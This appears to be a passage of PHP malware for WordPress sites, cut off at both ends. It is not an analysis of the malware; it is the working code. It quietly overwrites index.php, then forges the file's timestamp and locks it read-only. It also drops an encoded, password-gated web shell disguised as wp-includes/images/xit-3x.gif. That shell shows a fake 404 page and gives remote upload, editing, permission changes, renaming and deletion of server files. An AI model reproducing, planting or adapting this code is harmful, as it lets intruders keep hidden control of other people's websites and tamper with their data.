kw3VUZBU0o1SToKPz4KPD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg==");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
@chmod($do."index.php", 0644);
@file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
@touch($do."index.php", filectime($do."index.php"));
@chmod($do."index.php", 0444);
}
$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
$jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICA